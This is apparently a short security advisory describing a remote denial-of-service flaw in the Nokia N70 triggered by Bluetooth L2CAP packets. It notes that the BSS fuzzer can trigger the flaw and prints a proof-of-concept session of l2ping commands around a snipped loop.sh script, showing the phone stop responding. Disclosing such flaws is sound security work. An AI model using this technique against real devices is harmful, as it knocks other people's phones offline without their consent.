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Nokia N70 L2CAP Packets Remote Denial of Service Vulnerability


The BSS - Bluetooth Stack Smasher is reported to be able to trigger this vulnerability.

The following proof of concept is available:

# l2ping -c 3 00:15:A0:XX:XX:XX
Ping: 00:15:A0:XX:XX:XX from 00:20:E0:75:83:DA (data size 44) ...
0 bytes from 00:15:A0:XX:XX:XX id 0 time 64.18ms
0 bytes from 00:15:A0:XX:XX:XX id 1 time 43.94ms
0 bytes from 00:15:A0:XX:XX:XX id 2 time 37.25ms
3 sent, 3 received, 0% loss

# ./loop.sh 00:15:A0:XX:XX:XX
(.. snip ..)

# l2ping -c 1 00:15:A0:XX:XX:XX
Ping: 00:15:A0:XX:XX:XX from 00:20:E0:75:83:DA (data size 248) ...
no response from 00:15:A0:XX:XX:XX id 0
1 sent, 0 received, 100% loss







 

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